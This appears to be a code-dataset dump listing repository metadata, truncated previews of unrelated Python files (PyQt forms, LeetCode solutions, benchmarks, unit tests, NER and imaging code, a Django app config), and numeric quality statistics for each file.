20fedbf1080a9f144951aee297b7d6f393e3751d | 5,237 | py | Python | src/ui/workspace_view.py | weijiang1994/iPost | 008e767c23691bd9ba802eab1e405f98094cce4c | [
"MIT"
] | 2 | 2021-10-18T01:24:04.000Z | 2021-12-14T01:29:22.000Z | src/ui/workspace_view.py | weijiang1994/iPost | 008e767c23691bd9ba802eab1e405f98094cce4c | [
"MIT"
] | null | null | null | src/ui/workspace_view.py | weijiang1994/iPost | 008e767c23691bd9ba802eab1e405f98094cce4c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'workspace_view.ui'
#
# Created by: PyQt5 UI code generator 5.14.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Form(object):
def setupUi(self, Form):
Form.setObj... | 50.355769 | 114 | 0.715104 | 546 | 5,237 | 6.725275 | 0.210623 | 0.130719 | 0.075163 | 0.03268 | 0.283224 | 0.193355 | 0.111656 | 0.061002 | 0 | 0 | 0 | 0.019226 | 0.175673 | 5,237 | 103 | 115 | 50.84466 | 0.831364 | 0.035898 | 0 | 0.044444 | 1 | 0 | 0.050972 | 0.004562 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022222 | false | 0 | 0.011111 | 0 | 0.044444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f01e1d172c08c2fafb69829e4c50d4807643989 | 726 | py | Python | 1-50/031NextPermutation.py | zhaoxinlu/leetcode-algorithms | f5e1c94c99628e7fb04ba158f686a55a8093e933 | [
"MIT"
] | null | null | null | 1-50/031NextPermutation.py | zhaoxinlu/leetcode-algorithms | f5e1c94c99628e7fb04ba158f686a55a8093e933 | [
"MIT"
] | null | null | null | 1-50/031NextPermutation.py | zhaoxinlu/leetcode-algorithms | f5e1c94c99628e7fb04ba158f686a55a8093e933 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Editor: Zhao Xinlu
School: BUPT
Date: 2018-03-24
算法思想:下一个排列
"""
class Solution(object):
def nextPermutation(self, nums):
"""
:type nums: List[int]
:rtype: void Do not return anything, modify nums in-place instead.
"""
for idx in range(len(nums)-1, ... | 24.2 | 74 | 0.508264 | 98 | 726 | 3.683673 | 0.5 | 0.135734 | 0.088643 | 0.099723 | 0.191136 | 0.083102 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0.333333 | 726 | 30 | 75 | 24.2 | 0.700413 | 0.028926 | 0 | 0.133333 | 0 | 0 | 0.015474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f18bfa4fe6a76d3156288890c8bbdb080595ab5 | 12,846 | py | Python | example/hit_path.py | dzwiedziu-nkg/credo-classify-framework | 45417b505b4f4b20a7248f3487ca57a3fd49ccee | [
"MIT"
] | null | null | null | example/hit_path.py | dzwiedziu-nkg/credo-classify-framework | 45417b505b4f4b20a7248f3487ca57a3fd49ccee | [
"MIT"
] | null | null | null | example/hit_path.py | dzwiedziu-nkg/credo-classify-framework | 45417b505b4f4b20a7248f3487ca57a3fd49ccee | [
"MIT"
] | 3 | 2020-06-19T15:41:19.000Z | 2020-06-29T12:47:05.000Z | import math
import sys
from scipy.interpolate import interp2d
from scipy.ndimage import rotate, center_of_mass
from scipy.spatial import distance
from skimage.feature import canny
from skimage.filters import rank, gaussian
from skimage.measure import subdivide_polygon
from skimage.morphology import medial_axis, square... | 28.738255 | 175 | 0.541725 | 2,081 | 12,846 | 3.218645 | 0.158578 | 0.112272 | 0.156315 | 0.193491 | 0.323679 | 0.267095 | 0.235443 | 0.217378 | 0.217378 | 0.186772 | 0 | 0.142182 | 0.292075 | 12,846 | 446 | 176 | 28.802691 | 0.594348 | 0.07948 | 0 | 0.333333 | 0 | 0 | 0.013822 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.044643 | false | 0.005952 | 0.0625 | 0.002976 | 0.151786 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f201209100b12ce6a3d7fab4f4d25eb9b397c33 | 258 | py | Python | python/Exercises105Bonus.py | TerryRPatterson/Coursework | 633d15b9ceb4e5a3cc4c74d0ca44ab91d7faa7c7 | [
"Apache-2.0"
] | null | null | null | python/Exercises105Bonus.py | TerryRPatterson/Coursework | 633d15b9ceb4e5a3cc4c74d0ca44ab91d7faa7c7 | [
"Apache-2.0"
] | null | null | null | python/Exercises105Bonus.py | TerryRPatterson/Coursework | 633d15b9ceb4e5a3cc4c74d0ca44ab91d7faa7c7 | [
"Apache-2.0"
] | 2 | 2018-02-16T00:44:16.000Z | 2018-02-16T18:44:45.000Z | def countDown(start,message):
import time
if start > 20:
raise OverflowError("Countdown can accept numbers bigger that 20.")
for i in range(start,0,-1):
time.sleep(1)
print(i)
print(message)
countDown(20,"Blastoff!🚀")
| 25.8 | 75 | 0.631783 | 36 | 258 | 4.555556 | 0.694444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046392 | 0.248062 | 258 | 9 | 76 | 28.666667 | 0.793814 | 0 | 0 | 0 | 0 | 0 | 0.209302 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.222222 | 0.222222 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f2febb0be1e8f771610a3b24e1a5429336b73dd | 508 | py | Python | vbench/scripts/vb_run_benchmarks.py | vene/vbench | 77989fa0d3c45e63f576968d206021ffee72a24c | [
"MIT"
] | 1 | 2017-08-12T03:11:42.000Z | 2017-08-12T03:11:42.000Z | vbench/scripts/vb_run_benchmarks.py | vene/vbench | 77989fa0d3c45e63f576968d206021ffee72a24c | [
"MIT"
] | null | null | null | vbench/scripts/vb_run_benchmarks.py | vene/vbench | 77989fa0d3c45e63f576968d206021ffee72a24c | [
"MIT"
] | null | null | null | import sys
import traceback
import cPickle as pickle
if len(sys.argv) != 3:
print 'Usage: script.py input output'
sys.exit()
in_path, out_path = sys.argv[1:]
benchmarks = pickle.load(open(in_path))
results = {}
for bmk in benchmarks:
try:
res = bmk.run()
results[bmk.checksum] = res
ex... | 22.086957 | 68 | 0.647638 | 70 | 508 | 4.628571 | 0.585714 | 0.04321 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005115 | 0.230315 | 508 | 22 | 69 | 23.090909 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0.110236 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.166667 | null | null | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f2ff6c7d9e8ddf98bfe8be97cd8f3e7685911e4 | 6,445 | py | Python | problems/kitchencombinatorics/data/secret/gendata.py | stoman/CompetitiveProgramming | 0000b64369b50e31c6f48939e837bdf6cece8ce4 | [
"MIT"
] | 2 | 2020-12-22T13:21:25.000Z | 2021-12-12T22:26:26.000Z | problems/kitchencombinatorics/data/secret/gendata.py | stoman/CompetitiveProgramming | 0000b64369b50e31c6f48939e837bdf6cece8ce4 | [
"MIT"
] | null | null | null | problems/kitchencombinatorics/data/secret/gendata.py | stoman/CompetitiveProgramming | 0000b64369b50e31c6f48939e837bdf6cece8ce4 | [
"MIT"
] | null | null | null | import sys
import random
MAX_R = 1000
MAX_D = 25
MAX_K = 20
MAX_C = 2000
MAX_B = 100
case_no = 1
def next_file(suffix=None, desc=None):
global case_no
basename = '%02d' % case_no if suffix is None else '%02d-%s' % (case_no, suffix)
f = open(basename + '.in', 'w')
if desc is not None:
with ope... | 42.401316 | 213 | 0.621257 | 1,176 | 6,445 | 3.271259 | 0.141156 | 0.041591 | 0.040031 | 0.041591 | 0.563816 | 0.525604 | 0.507148 | 0.484273 | 0.420328 | 0.40707 | 0 | 0.071652 | 0.207448 | 6,445 | 151 | 214 | 42.682119 | 0.68148 | 0.065943 | 0 | 0.145299 | 0 | 0.025641 | 0.101847 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.017094 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f41c0a4ab7d43a2dea653442a426c4d1174eff9 | 1,653 | py | Python | tests/test_model.py | camisatx/flasker | affc9fc13742e18434961b8ec15f133cc246dcd5 | [
"MIT"
] | 3 | 2020-12-12T01:30:08.000Z | 2021-10-13T16:47:56.000Z | tests/test_model.py | camisatx/flasker | affc9fc13742e18434961b8ec15f133cc246dcd5 | [
"MIT"
] | null | null | null | tests/test_model.py | camisatx/flasker | affc9fc13742e18434961b8ec15f133cc246dcd5 | [
"MIT"
] | 1 | 2020-12-12T01:30:13.000Z | 2020-12-12T01:30:13.000Z | import sys
import unittest
sys.path.append('../')
from app import db # NOQA
from app.models import User # NOQA
from tests.base import BaseTestCase # NOQA
class UserModelCase(BaseTestCase):
def test_model_password_hashing(self):
"""Test the password hashing."""
... | 31.788462 | 75 | 0.603146 | 197 | 1,653 | 4.949239 | 0.314721 | 0.123077 | 0.069744 | 0.102564 | 0.220513 | 0.092308 | 0.092308 | 0.092308 | 0.092308 | 0 | 0 | 0.022709 | 0.254083 | 1,653 | 51 | 76 | 32.411765 | 0.768045 | 0.077435 | 0 | 0.131579 | 0 | 0 | 0.05894 | 0 | 0 | 0 | 0 | 0 | 0.315789 | 1 | 0.052632 | false | 0.157895 | 0.131579 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
1f4a0b28023170a365cdcc71fab67b6fb8261389 | 2,929 | py | Python | admin/sandbox.py | liuhh02/NERDA | 7488d0c5adf3eb5296b1b276b412b95131557097 | [
"MIT"
] | 123 | 2020-12-19T09:36:28.000Z | 2022-03-20T11:01:02.000Z | admin/sandbox.py | liuhh02/NERDA | 7488d0c5adf3eb5296b1b276b412b95131557097 | [
"MIT"
] | 35 | 2021-02-14T09:46:11.000Z | 2022-03-31T09:57:38.000Z | admin/sandbox.py | liuhh02/NERDA | 7488d0c5adf3eb5296b1b276b412b95131557097 | [
"MIT"
] | 30 | 2021-01-28T11:02:31.000Z | 2022-03-06T19:58:27.000Z | from NERDA.models import NERDA
from NERDA.datasets import get_conll_data, get_dane_data
from transformers import AutoTokenizer
trans = 'bert-base-multilingual-uncased'
tokenizer = AutoTokenizer.from_pretrained(trans, do_lower_case = True)
data = get_dane_data('train')
sents = data.get('sentences')
out = []
for sent ... | 26.627273 | 79 | 0.714237 | 392 | 2,929 | 5.168367 | 0.262755 | 0.039487 | 0.05923 | 0.047384 | 0.466436 | 0.401283 | 0.299605 | 0.280355 | 0.280355 | 0.280355 | 0 | 0.028877 | 0.136907 | 2,929 | 109 | 80 | 26.87156 | 0.772547 | 0.372141 | 0 | 0.078431 | 0 | 0 | 0.137244 | 0.089651 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.137255 | null | null | 0.019608 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f51deb831801cb409889edbf97a6deabae048a4 | 1,368 | py | Python | quantiphyse/packages/core/analysis/__init__.py | physimals/quantiphyse | bd3be0098b9929b1987fe0f23e515fa70674b3d4 | [
"Apache-2.0"
] | 9 | 2021-02-01T06:44:31.000Z | 2022-01-17T15:46:40.000Z | quantiphyse/packages/core/analysis/__init__.py | ibme-qubic/quantiphyse | 34f40424941414ce139c4612a903de3f24883576 | [
"Apache-2.0"
] | 34 | 2019-02-04T10:47:02.000Z | 2020-08-13T09:36:52.000Z | quantiphyse/packages/core/analysis/__init__.py | ibme-qubic/quantiphyse | 34f40424941414ce139c4612a903de3f24883576 | [
"Apache-2.0"
] | 2 | 2019-05-25T08:52:05.000Z | 2020-06-18T13:59:00.000Z | """
Quantiphyse - Analysis widgets
Copyright (c) 2013-2020 University of Oxford
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by a... | 47.172414 | 123 | 0.811404 | 147 | 1,368 | 7.537415 | 0.619048 | 0.054152 | 0.023466 | 0.028881 | 0.166065 | 0.166065 | 0 | 0 | 0 | 0 | 0 | 0.010008 | 0.123538 | 1,368 | 28 | 124 | 48.857143 | 0.914095 | 0.439327 | 0 | 0 | 0 | 0 | 0.054018 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
1f57dbdd7653a2a24621940b5ab48570df0a2af1 | 4,620 | py | Python | pytorch/camera_intrinsics.py | abdur4373/ROS_depth_pred | 63ed4d97df8b49a43aad53c4c6bf01441f05153d | [
"MIT"
] | 1 | 2019-06-29T07:48:31.000Z | 2019-06-29T07:48:31.000Z | pytorch/camera_intrinsics.py | abdur4373/ROS_depth_pred | 63ed4d97df8b49a43aad53c4c6bf01441f05153d | [
"MIT"
] | null | null | null | pytorch/camera_intrinsics.py | abdur4373/ROS_depth_pred | 63ed4d97df8b49a43aad53c4c6bf01441f05153d | [
"MIT"
] | null | null | null | import numpy as np
from sensor_msgs.msg import CameraInfo, RegionOfInterest
from std_msgs.msg import Header
class CameraIntrinsics(object):
"""A set of intrinsic parameters for a camera. This class is used to project
and deproject points.
"""
def __init__(self, frame, fx, fy=None, cx=0.0, cy=0.0, ske... | 28.695652 | 96 | 0.534632 | 633 | 4,620 | 3.780411 | 0.156398 | 0.035938 | 0.033849 | 0.033431 | 0.486001 | 0.479315 | 0.476807 | 0.462599 | 0.41496 | 0.348099 | 0 | 0.027722 | 0.351948 | 4,620 | 160 | 97 | 28.875 | 0.771543 | 0.018615 | 0 | 0.261364 | 0 | 0 | 0.003148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.034091 | null | null | 0.011364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f5d11bfac525af7eaa9a4069790c1ad9c1d4423 | 10,602 | py | Python | src/phat/thold.py | rskene/phat | 84a946e1e638642f36ce5fd81dc85aa89f7b66f0 | [
"MIT"
] | 2 | 2021-07-23T11:34:21.000Z | 2022-01-09T17:22:45.000Z | src/phat/thold.py | rjskene/phat | 84a946e1e638642f36ce5fd81dc85aa89f7b66f0 | [
"MIT"
] | 3 | 2022-01-18T09:27:16.000Z | 2022-01-18T09:28:43.000Z | src/phat/thold.py | rskene/phat | 84a946e1e638642f36ce5fd81dc85aa89f7b66f0 | [
"MIT"
] | null | null | null | from functools import wraps
from typing import Iterable
import numpy as np
import scipy.stats as scist
import matplotlib.pyplot as plt
from rpy2.robjects.packages import importr
from rpy2.robjects.vectors import FloatVector
from phat.utils import argsetter
base = importr('base')
utils = importr('utils')
utils.choos... | 36.940767 | 131 | 0.54518 | 1,517 | 10,602 | 3.705339 | 0.170073 | 0.021349 | 0.014232 | 0.021349 | 0.332859 | 0.293542 | 0.253869 | 0.216332 | 0.216332 | 0.210105 | 0 | 0.030116 | 0.282777 | 10,602 | 286 | 132 | 37.06993 | 0.708837 | 0.043671 | 0 | 0.166667 | 0 | 0.004505 | 0.062685 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.04955 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f6205c1effd40848344000bccb696a977da03f4 | 954 | py | Python | app/stock/apps.py | shift37/asx_gym | dd3d8dafae4f22ab9c9027bf362013255dbc6c36 | [
"RSA-MD"
] | null | null | null | app/stock/apps.py | shift37/asx_gym | dd3d8dafae4f22ab9c9027bf362013255dbc6c36 | [
"RSA-MD"
] | 3 | 2020-06-06T08:27:08.000Z | 2020-06-13T09:51:26.000Z | app/stock/apps.py | asxgym/asx_gym | 8b7745820c0d4cd59281acf7c003ec1f1938005a | [
"RSA-MD"
] | null | null | null | from django.apps import AppConfig
import logging
logger = logging.getLogger(__name__)
class StockConfig(AppConfig):
name = 'stock'
def ready(self):
from background_task.models import Task
task_update_daily_stock_price = Task.objects.filter(
task_name='stock.tasks.cron_update_dail... | 38.16 | 74 | 0.72327 | 127 | 954 | 5 | 0.267717 | 0.188976 | 0.151181 | 0.198425 | 0.727559 | 0.393701 | 0.393701 | 0.299213 | 0.173228 | 0.173228 | 0 | 0.005312 | 0.210692 | 954 | 24 | 75 | 39.75 | 0.837981 | 0 | 0 | 0 | 0 | 0 | 0.172956 | 0.144654 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.263158 | 0 | 0.421053 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f643bc3dbbf8bbb68623cedf5db93412e8053a1 | 554 | py | Python | MkSSensor.py | MakeSenseCorp/mksdk-py | 3466124288c3a89effa0e918c2f310e25db17e0e | [
"Apache-2.0"
] | null | null | null | MkSSensor.py | MakeSenseCorp/mksdk-py | 3466124288c3a89effa0e918c2f310e25db17e0e | [
"Apache-2.0"
] | 7 | 2018-02-19T12:15:46.000Z | 2018-05-04T23:02:12.000Z | MkSSensor.py | MakeSenseCorp/mksdk-py | 3466124288c3a89effa0e918c2f310e25db17e0e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
class Sensor:
Name = ""
ID = 0
UUID = 0
Type = 0
Value = 0
def __init__(self, id, type, local_id):
self.ID = local_id
self.UUID = id[:-1] + str(local_id)
self.Type = type
def SetInterval(self, interval):
self.UpdateInterval = interval
def SetUUID(self, dev... | 24.086957 | 135 | 0.566787 | 75 | 554 | 4.04 | 0.32 | 0.115512 | 0.145215 | 0.09901 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014019 | 0.227437 | 554 | 22 | 136 | 25.181818 | 0.693925 | 0.028881 | 0 | 0 | 0 | 0 | 0.097087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.0625 | 0.6875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1f6482191a91e02ca740cd105cd4bb4ccfd6872b | 1,010 | py | Python | tuples.py | ShuhaoZQGG/Python-Very-Beginner-to-Very-Intermediate | cfad98b1c1c175761d3a68861438562f7d410cb0 | [
"MIT"
] | null | null | null | tuples.py | ShuhaoZQGG/Python-Very-Beginner-to-Very-Intermediate | cfad98b1c1c175761d3a68861438562f7d410cb0 | [
"MIT"
] | null | null | null | tuples.py | ShuhaoZQGG/Python-Very-Beginner-to-Very-Intermediate | cfad98b1c1c175761d3a68861438562f7d410cb0 | [
"MIT"
] | null | null | null |
mytuple = ("Max", 28, "Boston")
print(mytuple)
print(type(mytuple))
mytuple2 = ("Max") ## , is needed before the closing paranthese if only one string
print(mytuple2)
print(type(mytuple2))
mt3 = tuple(["Max", 28, "Boston"]) ## mt indicates mytuple + number
print(mt3)
print(type(m... | 17.413793 | 104 | 0.620792 | 158 | 1,010 | 3.968354 | 0.474684 | 0.076555 | 0.052632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05774 | 0.194059 | 1,010 | 58 | 105 | 17.413793 | 0.712531 | 0.19802 | 0 | 0 | 0 | 0 | 0.067584 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.585366 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
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